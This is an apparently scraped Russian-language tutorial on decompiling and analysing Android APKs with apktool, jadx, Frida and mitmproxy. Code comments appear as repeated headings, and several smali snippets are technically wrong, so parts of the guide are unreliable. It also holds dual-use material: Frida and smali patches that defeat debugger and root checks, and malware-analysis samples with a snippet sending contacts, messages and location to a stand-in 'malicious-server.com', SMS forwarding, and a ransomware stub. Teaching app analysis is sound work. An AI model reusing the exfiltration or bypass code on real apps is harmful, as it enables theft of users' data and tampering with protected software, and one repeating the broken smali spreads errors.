APKTOOL: Декомпиляция Android APK - Полное руководство 2026

<h2 id="sozdayte-direktoriyu-dlya-instrumentov">Создайте директорию для инструментов</h2>

mkdir C:\Tools\apktool

cd C:\Tools\apktool



<h2 id="skachayte-apktool-bat-i-apktool-jar">Скачайте apktool.bat и apktool.jar</h2>

<h2 id="pomestite-ih-v-etu-direktoriyu">Поместите их в эту директорию</h2>




<h2 id="dobavte-v-path-cherez-sistemnye-nastroyki">Добавьте в PATH через системные настройки</h2>

<h2 id="ili-ispolzuyte-setx">Или используйте setx:</h2>

setx /M PATH "%PATH%;C:\Tools\apktool"



<h2 id="proverte-ustanovku">Проверьте установку</h2>

apktool d test.apk

<h2 id="ustanovite-chocolatey-esli-ne-ustanovlen">Установите Chocolatey (если не установлен)</h2>

<h2 id="zatem">Затем:</h2>

choco install apktool -y

<h2 id="dobavte-repozitoriy">Добавьте репозиторий</h2>

sudo add-apt-repository ppa:maarten-fonville/android-build-tools

sudo apt-get update



<h2 id="ustanovite-apktool">Установите APKtool</h2>

sudo apt-get install apktool



<h2 id="proverte-ustanovku">Проверьте установку</h2>

apktool --version

<h2 id="skachayte-poslednyuyu-versiyu">Скачайте последнюю версию</h2>

wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.x.x.jar



<h2 id="sdelayte-ispolnyaemym">Сделайте исполняемым</h2>

chmod +x apktool_2.x.x.jar



<h2 id="peremestite-v-sistemnuyu-direktoriyu">Переместите в системную директорию</h2>

sudo mv apktool_2.x.x.jar /usr/local/bin/apktool.jar



<h2 id="sozdayte-skript-obolochku">Создайте скрипт оболочку</h2>

echo '#!/bin/bash' | sudo tee /usr/local/bin/apktool

echo 'java -jar /usr/local/bin/apktool.jar "$@"' | sudo tee -a /usr/local/bin/apktool

sudo chmod +x /usr/local/bin/apktool

<h2 id="ispolzuya-homebrew">Используя Homebrew</h2>

brew install apktool



<h2 id="ili-skachayte-vruchnuyu">Или скачайте вручную</h2>

<h2 id="skachayte-apktool-jar-i-wrapper-skript-s-github">Скачайте apktool.jar и wrapper скрипт с GitHub</h2>

<h2 id="pomestite-v-usr-local-bin-i-sdelayte-ispolnyaemymi">Поместите в /usr/local/bin/ и сделайте исполняемыми</h2>

java -version

sudo apt-get install default-jre

brew install openjdk

<h2 id="linux">Linux</h2>

wget https://github.com/skylot/jadx/releases/download/v1.4.7/jadx-1.4.7.zip

unzip jadx-1.4.7.zip



<h2 id="ili-cherez-snap">Или через snap</h2>

snap install jadx

<h2 id="linux">Linux</h2>

sudo apt-get install android-tools-adb



<h2 id="windows">Windows</h2>

<h2 id="skachayte-android-sdk-platform-tools">Скачайте Android SDK Platform Tools</h2>

<h2 id="ili-choco-install-adb">Или: choco install adb</h2>

apktool d app.apk

apktool d app.apk -o output_folder

<h2 id="po-umolchaniyu-sohranyayutsya-v-original">По умолчанию сохраняются в original/</h2>

apktool d app.apk

apktool d app.apk --keep-broken-res

apktool d app.apk --force

apktool d app.apk --no-src

apktool d app.apk --no-res

apktool b app

apktool b app -o output.apk

apktool b app --force-all

<h2 id="ispolzovat-aapt2-android-asset-packaging-tool-2">Использовать aapt2 (Android Asset Packaging Tool 2)</h2>

apktool b app --use-aapt2



<h2 id="rekompilirovat-bez-debug-informatsii">Рекомпилировать без debug информации</h2>

apktool b app --no-debug



<h2 id="obrabotat-vse-oshibki">Обработать все ошибки</h2>

apktool b app --force-all --verbose

keytool -genkey -v -keystore my-release-key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias my-key-alias

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.jks output.apk my-key-alias

zipalign -v 4 output.apk output-aligned.apk

apksigner sign --ks my-release-key.jks --ks-key-alias my-key-alias output.apk

<h2 id="reshenie-ispolzuyte-flag-no-res-ili-obnovite-apktool">Решение: Используйте флаг --no-res или обновите APKtool</h2>

apktool d app.apk --no-res

<h2 id="ustanovite-framework-res-apk">Установите framework-res.apk</h2>

apktool if framework-res.apk

<h2 id="uvelichte-heap-memory-dlya-java">Увеличьте heap memory для Java</h2>

java -Xmx2048m -jar apktool.jar d app.apk

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.example.app"

    android:versionCode="1"

    android:versionName="1.0">



    <!-- Разрешения приложения -->

    <uses-permission ... />



    <!-- Компоненты приложения -->

    <application ...>

        <!-- Activities -->

        <activity ... />

        

        <!-- Services -->

        <service ... />

        

        <!-- Broadcast Receivers -->

        <receiver ... />

        

        <!-- Content Providers -->

        <provider ... />

    </application>

</manifest>

apktool d app.apk

cat app/AndroidManifest.xml

<h2 id="ispolzuya-aapt-android-asset-packaging-tool">Используя aapt (Android Asset Packaging Tool)</h2>

aapt dump xmltree app.apk AndroidManifest.xml



<h2 id="ili-s-ispolzovaniem-unzip-apk-eto-zip">Или с использованием unzip (APK это ZIP)</h2>

unzip -p app.apk AndroidManifest.xml | xmllint --format -

<h2 id="sozdayte-skript-analyze-permissions-sh">Создайте скрипт analyze_permissions.sh</h2>

#!/bin/bash

aapt dump permissions "$1" | grep -E "(uses-permission|permission)" | sort -u

<h2 id="iz-dekompilirovannogo-apk">Из декомпилированного APK</h2>

cat app/res/values/strings.xml



<h2 id="iz-skompilirovannogo-apk">Из скомпилированного APK</h2>

aapt dump strings app.apk

<h2 id="poisk-api-endpoints">Поиск API endpoints</h2>

grep -r "https://" app/res/values/



<h2 id="poisk-api-keys">Поиск API keys</h2>

grep -r "api_key\|secret\|token" app/res/values/



<h2 id="poisk-email-adresov">Поиск email адресов</h2>

grep -rE "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" app/res/

<h2 id="raspakovat-apk">Распаковать APK</h2>

unzip app.apk -d extracted/



<h2 id="prosmotret-izobrazheniya">Просмотреть изображения</h2>

find extracted/res/ -name "*.png" -o -name "*.jpg"

<h2 id="ustanovite-exiftool">Установите exiftool</h2>

sudo apt-get install libimage-exiftool-perl



<h2 id="izvlekite-metadannye">Извлеките метаданные</h2>

exiftool extracted/res/drawable/logo.png

find app/assets/ -name "*.db" -o -name "*.sqlite"

<h2 id="izvlekite-bazu-dannyh">Извлеките базу данных</h2>

cp app/assets/database.db /tmp/



<h2 id="analiz-s-sqlite">Анализ с SQLite</h2>

sqlite3 /tmp/database.db



<h2 id="prosmotr-tablits">Просмотр таблиц</h2>

.tables



<h2 id="prosmotr-shemy-tablitsy">Просмотр схемы таблицы</h2>

.schema users



<h2 id="poisk-dannyh">Поиск данных</h2>

SELECT * FROM users WHERE username LIKE '%admin%';

find app/ -name "*.json" -o -name "*.xml" -o -name "*.properties"

<h2 id="proverka-content-providers">Проверка content providers</h2>

cat app/res/xml/file_paths.xml



<h2 id="proverka-network-security-config">Проверка network security config</h2>

cat app/res/xml/network_security_config.xml

.class public Lcom/example/MainActivity;

.super Landroid/app/Activity;



<h2 id="metod-mainactivity">Метод MainActivity</h2>

.method public constructor <init>()V

    .locals 0



    invoke-direct {p0}, Landroid/app/Activity;-><init>()V

    

    return-void

.end method



<h2 id="metod-oncreate">Метод onCreate</h2>

.method protected onCreate(Landroid/os/Bundle;)V

    .locals 2

    

    # Загрузить контекст в register v0

    iput-object p0, v0, Landroid/app/Activity;->mContext:Landroid/content/Context;

    

    # Вызвать super.onCreate()

    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    

    return-void

.end method

<h2 id="chtenie-sms">Чтение SMS</h2>

invoke-static {p0}, Landroid/provider/Telephony$Sms;->getDefaultSmsPackage(Landroid/content/Context;)Ljava/lang/String;



<h2 id="dostup-k-kontaktam">Доступ к контактам</h2>

invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;



<h2 id="setevaya-aktivnost">Сетевая активность</h2>

invoke-static {}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;

<h2 id="obfustsirovannaya-stroka">Обфусцированная строка</h2>

const-string v0, "68b329da9893e34099c7d8ad5cb9c940"

<h2 id="deobfuskatsiya-eto-md5-hesh-kotoryy-mozhet-skryvat-funktsional">Деобфускация: это MD5 хеш, который может скрывать функционал</h2>

<h2 id="proverka-nalichiya-busybox-indicator-of-root">Проверка наличия busybox (indicator of root)</h2>

const-string v0, "busybox"

invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;

invoke-virtual {v0, v1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;



<h2 id="proverka-na-emulyator">Проверка на эмулятор</h2>

const-string v0, "ro.kernel.qemu"

sget-object v1, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;

invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z

<h2 id="dekompilyatsiya-v-java">Декомпиляция в Java</h2>

jadx -d output app.apk



<h2 id="tolko-dekompilyatsiya-bez-izvlecheniya-resursov">Только декомпиляция без извлечения ресурсов</h2>

jadx --no-res -d output app.apk



<h2 id="eksport-v-proekt-gradle">Экспорт в проект Gradle</h2>

jadx --export-gradle -d output app.apk

/

├── sources/

│   └── com/

│       └── example/

│           └── MainActivity.java

├── resources/

│   ├── AndroidManifest.xml

│   └── res/

└── outputs/

// Уязвимый код

String query = "SELECT * FROM users WHERE id = " + userId;

db.rawQuery(query, null);



// Безопасный код

String query = "SELECT * FROM users WHERE id = ?";

db.rawQuery(query, new String[]{userId});

// Поиск в декомпилированном коде

String apiKey = "sk_live_51H1234567890";

// Unsafe storage

String password = editText.getText().toString();

sharedPreferences.edit().putString("password", password).commit();

<h2 id="v-assets">В assets/</h2>

find app/assets/ -name "*.db"



<h2 id="v-res-raw">В res/raw/</h2>

find app/res/raw/ -name "*.db"

<h2 id="raspakuyte-apk">Распакуйте APK</h2>

unzip app.apk -d extracted/



<h2 id="naydite-bazy-dannyh">Найдите базы данных</h2>

find extracted/ -name "*.db" -exec cp {} /tmp/database.db \;



<h2 id="analiz-sqlite">Анализ SQLite</h2>

sqlite3 /tmp/database.db

.tables

.schema

.schema table_name

.mode csv

.output data.csv

SELECT * FROM users;

.output stdout

-- Поиск паролей

SELECT * FROM users WHERE password IS NOT NULL;



-- Поиск токенов

SELECT * FROM tokens WHERE value LIKE '%Bearer%';



-- Поиск email адресов

SELECT * FROM contacts WHERE email LIKE '%@%';

<h2 id="sharedpreferences-mogut-byt-v-assets">SharedPreferences могут быть в assets</h2>

find app/assets/ -name "*.xml"

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>

<map>

    <string name="username">admin</string>

    <string name="password">secret123</string>

    <string name="auth_token">Bearer eyJhbGc...</string>

</map>

/data/data/<package>/

├── databases/         # SQLite базы

├── shared_prefs/      # Настройки

├── files/            # Другие файлы

├── cache/            # Кэш

└── lib/              # Нативные библиотеки

<h2 id="montirovanie-obraza">Монтирование образа</h2>

losetup /dev/loop0 device.img

mount -t ext4 /dev/loop0 /mnt



<h2 id="izvlechenie-dannyh">Извлечение данных</h2>

cp -r /mnt/data/data/com.example.app /tmp/app_data/

<h2 id="poisk-v-kode">Поиск в коде</h2>

grep -r "Cipher\|AES\|DES\|RSA" app/smali/



<h2 id="poisk-klyuchey">Поиск ключей</h2>

grep -r "getInstance" app/smali/

<h2 id="originalnaya-stroka">Оригинальная строка</h2>

const-string v0, "https://api.example.com"



<h2 id="obfustsirovannaya">Обфусцированная</h2>

const-string v0, "86a1b2c3d4e5f6..."

invoke-static {v0}, Lcom/app/Obfuscator;->decrypt(Ljava/lang/String;)Ljava/lang/String;

<h2 id="iskazhenie-potoka-vypolneniya">Искажение потока выполнения</h2>

if-eqz v0, :label1

goto :label2

:label1

goto :label3

:label2

<h2 id="realnyy-kod">реальный код</h2>

:label3

// Оригинал

public String getUserName() { ... }



// Обфусцированный

public String a() { ... }

<h2 id="proverka-android-os-debug-isdebuggerconnected">Проверка android.os.Debug.isDebuggerConnected()</h2>

const-string v0, "android.os.Debug"

invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;

invoke-static {}, Landroid/os/Debug;->isDebuggerConnected()Z

<h2 id="build-fingerprint-soderzhit-generic-v-emulyatore">Build.FINGERPRINT содержит &quot;generic&quot; в эмуляторе</h2>

sget-object v0, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;

invoke-virtual {v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z



<h2 id="proverka-ro-kernel-qemu">Проверка ro.kernel.qemu</h2>

const-string v0, "ro.kernel.qemu"

invoke-static {v0}, Landroid/os/SystemProperties;->get(Ljava/lang/String;)Ljava/lang/String;

<h2 id="busybox">Busybox</h2>

const-string v0, "/system/xbin/busybox"

invoke-virtual {v0}, Ljava/io/File;->exists()Z



<h2 id="superuser-apk">Superuser APK</h2>

const-string v0, "/data/app/com.koushikdutta.superuser-1.apk"

invoke-virtual {v0}, Ljava/io/File;->exists()Z



<h2 id="su-v-path">su в PATH</h2>

invoke-static {}, Ljava/lang/System;->getenv()Ljava/util/Map;

const-string v0, "PATH"

invoke-interface {v1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

invoke-virtual {v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z

<h2 id="originalnyy-kod">Оригинальный код</h2>

invoke-static {}, Lcom/anti/Debug;->check()Z

if-eqz v0, :exit



<h2 id="patch-izmenit-na-always-false">Патч - изменить на always false</h2>

const v0, 0x0

// Frida script для обхода isDebuggerConnected

Java.perform(function() {

    var Debug = Java.use("android.os.Debug");

    Debug.isDebuggerConnected.implementation = function() {

        console.log("[*] isDebuggerConnected hook");

        return false;

    };

});

deguard.sh app-obfuscated.apk -m proguard_mapping.txt

jadx --no-imports --show-bad-code app.apk

<h2 id="linux">Linux</h2>

pip3 install frida-tools



<h2 id="windows">Windows</h2>

pip install frida-tools

frida -U -f com.example.app -l script.js

// script.js

Java.perform(function() {

    // Перехват HTTP запросов

    var HttpURLConnection = Java.use("java.net.HttpURLConnection");

    HttpURLConnection.getResponseCode.implementation = function() {

        var responseCode = this.getResponseCode();

        console.log("[HTTP] Response Code: " + responseCode);

        return responseCode;

    };



    // Перехват шифрования

    var Cipher = Java.use("javax.crypto.Cipher");

    Cipher.doFinal.overload('[B').implementation = function(data) {

        var result = this.doFinal(data);

        console.log("[CIPHER] Data: " + data);

        return result;

    };



    // Hook логирования

    var Log = Java.use("android.util.Log");

    Log.d.overload('java.lang.String', 'java.lang.String').implementation = function(tag, msg) {

        console.log("[LOG] " + tag + ": " + msg);

        return this.d(tag, msg);

    };

});

<h2 id="nayti-pid-protsessa">Найти PID процесса</h2>

adb shell pidof com.example.app



<h2 id="sozdat-damp-pamyati">Создать дамп памяти</h2>

adb shell am dumpheap <pid> /data/local/tmp/heap.hprof



<h2 id="izvlech-dump">Извлечь dump</h2>

adb pull /data/local/tmp/heap.hprof .



<h2 id="analiz-v-mat-memory-analyzer-tool">Анализ в MAT (Memory Analyzer Tool)</h2>

<h2 id="konvertatsiya-hprof-v-format-volatility">Конвертация hprof в формат Volatility</h2>

python vol.py -f memory.dump android_process_list



<h2 id="poisk-obektov">Поиск объектов</h2>

python vol.py -f memory.dump android_heap

<h2 id="ustanovka">Установка</h2>

pip install mitmproxy



<h2 id="zapusk-proxy">Запуск proxy</h2>

mitmproxy -p 8080



<h2 id="nastroyka-android-ustroystva">Настройка Android устройства</h2>

<h2 id="settings-wifi-proxy-manual">Settings &gt; WiFi &gt; Proxy &gt; Manual</h2>

<h2 id="proxy-ip-adres-kompyutera">Proxy: IP адрес компьютера</h2>

<h2 id="port-8080">Port: 8080</h2>

<h2 id="ustanovka-sertifikata-mitmproxy-na-ustroystvo">Установка сертификата mitmproxy на устройство</h2>

<h2 id="http-mitm-it">http://mitm.it/</h2>




<h2 id="perehvachennyy-trafik-teper-dostupen-v-mitmproxy">Перехваченный трафик теперь доступен в mitmproxy</h2>

<h2 id="v-manifeste-naydite-activity-bez-intent-filters">В манифесте найдите Activity без intent filters</h2>

grep -A 10 "activity" app/AndroidManifest.xml

<h2 id="poisk-v-kode">Поиск в коде</h2>

grep -r "http" app/smali/ | grep -v "//"



<h2 id="poisk-v-resursah">Поиск в ресурсах</h2>

grep -r "api\|endpoint\|url" app/res/

// Поиск feature flags в коде

if (FeatureFlags.ADMIN_PANEL_ENABLED) {

    // скрытый функционал

}

#!/bin/bash

<h2 id="quick-decompile-sh">quick_decompile.sh</h2>




if [ -z "$1" ]; then

    echo "Usage: $0 <apk_file>"

    exit 1

fi



APK_FILE="$1"

APP_NAME=$(basename "$APK_FILE" .apk)

OUTPUT_DIR="decompiled_$APP_NAME"



echo "Decompiling $APK_FILE..."

apktool d "$APK_FILE" -o "$OUTPUT_DIR" -f



echo "Extracting AndroidManifest.xml..."

aapt dump xmltree "$APK_FILE" AndroidManifest.xml > "$OUTPUT_DIR/manifest.txt"



echo "Analyzing permissions..."

aapt dump permissions "$APK_FILE" > "$OUTPUT_DIR/permissions.txt"



echo "Searching for strings..."

aapt dump strings "$APK_FILE" > "$OUTPUT_DIR/strings.txt"



echo "Done! Output: $OUTPUT_DIR/"

#!/bin/bash

<h2 id="vulnerability-scan-sh">vulnerability_scan.sh</h2>




APK_FILE="$1"

OUTPUT_DIR="scan_${APK_FILE%.apk}"



echo "Scanning for vulnerabilities..."



<h2 id="poisk-hardcoded-secrets">Поиск hardcoded secrets</h2>

echo "Checking for hardcoded secrets..."

grep -rE "(api_key|secret|password|token)" "$OUTPUT_DIR/smali/" > secrets.txt



<h2 id="poisk-sql-injection">Поиск SQL Injection</h2>

echo "Checking for SQL Injection..."

grep -r "rawQuery\|execSQL" "$OUTPUT_DIR/smali/" > sqli.txt



<h2 id="poisk-nebezopasnogo-hraneniya">Поиск небезопасного хранения</h2>

echo "Checking for insecure storage..."

grep -rE "(SharedPreferences.*password|putString.*secret)" "$OUTPUT_DIR/smali/" > storage.txt



<h2 id="poisk-kriptografii">Поиск криптографии</h2>

echo "Checking for crypto usage..."

grep -rE "(Cipher|AES|DES|RSA)" "$OUTPUT_DIR/smali/" > crypto.txt



echo "Scan complete! Check *.txt files for results."

#!/usr/bin/env python3

<h2 id="batch-analyze-py">batch_analyze.py</h2>




import os

import subprocess

import json

from datetime import datetime



def analyze_apk(apk_path):

    """Анализ одного APK файла"""

    

    results = {

        'file': apk_path,

        'timestamp': datetime.now().isoformat()

    }

    

    # Получить название пакета

    try:

        output = subprocess.check_output(['aapt', 'dump', 'badging', apk_path])

        package = output.split(b"name='")[1].split(b"'")[0].decode()

        results['package'] = package

    except:

        results['package'] = 'unknown'

    

    # Декомпиляция

    output_dir = f"output_{os.path.basename(apk_path).replace('.apk', '')}"

    subprocess.run(['apktool', 'd', apk_path, '-o', output_dir, '-f'])

    

    # Анализ разрешений

    permissions = subprocess.check_output(['aapt', 'dump', 'permissions', apk_path])

    results['permissions'] = permissions.decode().split('\n')

    

    return results



def main():

    apk_files = [f for f in os.listdir('.') if f.endswith('.apk')]

    

    all_results = []

    for apk_file in apk_files:

        print(f"Analyzing {apk_file}...")

        results = analyze_apk(apk_file)

        all_results.append(results)

    

    # Сохранить результаты

    with open('analysis_report.json', 'w') as f:

        json.dump(all_results, f, indent=2)

    

    print(f"Analyzed {len(apk_files)} APK files. Report: analysis_report.json")



if __name__ == '__main__':

    main()

<h2 id="gitlab-ci-yml">.gitlab-ci.yml</h2>

stages:

  - analyze



apk_analysis:

  stage: analyze

  image: android-sdk:latest

  script:

    - apktool d app.apk -o decompiled

    - python3 vulnerability_scan.py decompiled/

    - tar -czf results.tar.gz decompiled/

  artifacts:

    paths:

      - results.tar.gz

    reports:

      sast: gl-sast-report.json

apktool d bank_app.apk -o bank_analysis

grep -i "sms\|call" bank_analysis/AndroidManifest.xml

<h2 id="naydeno-v-mainactivity-smali">Найдено в MainActivity.smali</h2>

invoke-static {p0}, Lcom/bank/SmsReceiver;->readSms()V

invoke-static {p0}, Lcom/bank/CallMonitor;->intercept()V

SmsManager sms = SmsManager.getDefault();

sms.sendTextMessage("+1234567890", null, smsCode, null, null);

<h2 id="perehvat-trafika-s-mitmproxy">Перехват трафика с mitmproxy</h2>

<h2 id="obnaruzheny-zaprosy-k">Обнаружены запросы к:</h2>

POST https://legitimate-server.com/api/users/upload

// В декомпилированном коде

private void uploadUserData() {

    JSONObject data = new JSONObject();

    data.put("contacts", getContacts());

    data.put("messages", getMessages());

    data.put("location", getLocation());

    

    // Отправка на сторонний сервер

    httpClient.post("https://malicious-server.com/collect", data);

}

<service android:name="com.ransom.Service">

    <intent-filter>

        <action android:name="android.accessibilityservice.AccessibilityService" />

    </intent-filter>

</service>

<h2 id="naydeno-v-ransomservice-smali">Найдено в RansomService.smali</h2>

invoke-static {v0}, Lcom/ransom/Encryption;->encryptFiles()V



<h2 id="metod-shifrovaniya">Метод шифрования</h2>

.method public static encryptFiles()V

    const-string v0, "AES/CBC/PKCS5Padding"

    invoke-static {v0}, Ljavax/crypto/Cipher;->getInstance(Ljava/lang/String;)Ljavax/crypto/Cipher;

.end method

<h2 id="izvlechenie-sertifikata">Извлечение сертификата</h2>

unzip -p app.apk META-INF/CERT.RSA | openssl pkcs7 -inform DER -noout -print_certs



<h2 id="ili-s-pomoschyu-jarsigner">Или с помощью jarsigner</h2>

jarsigner -verify -verbose -certs app.apk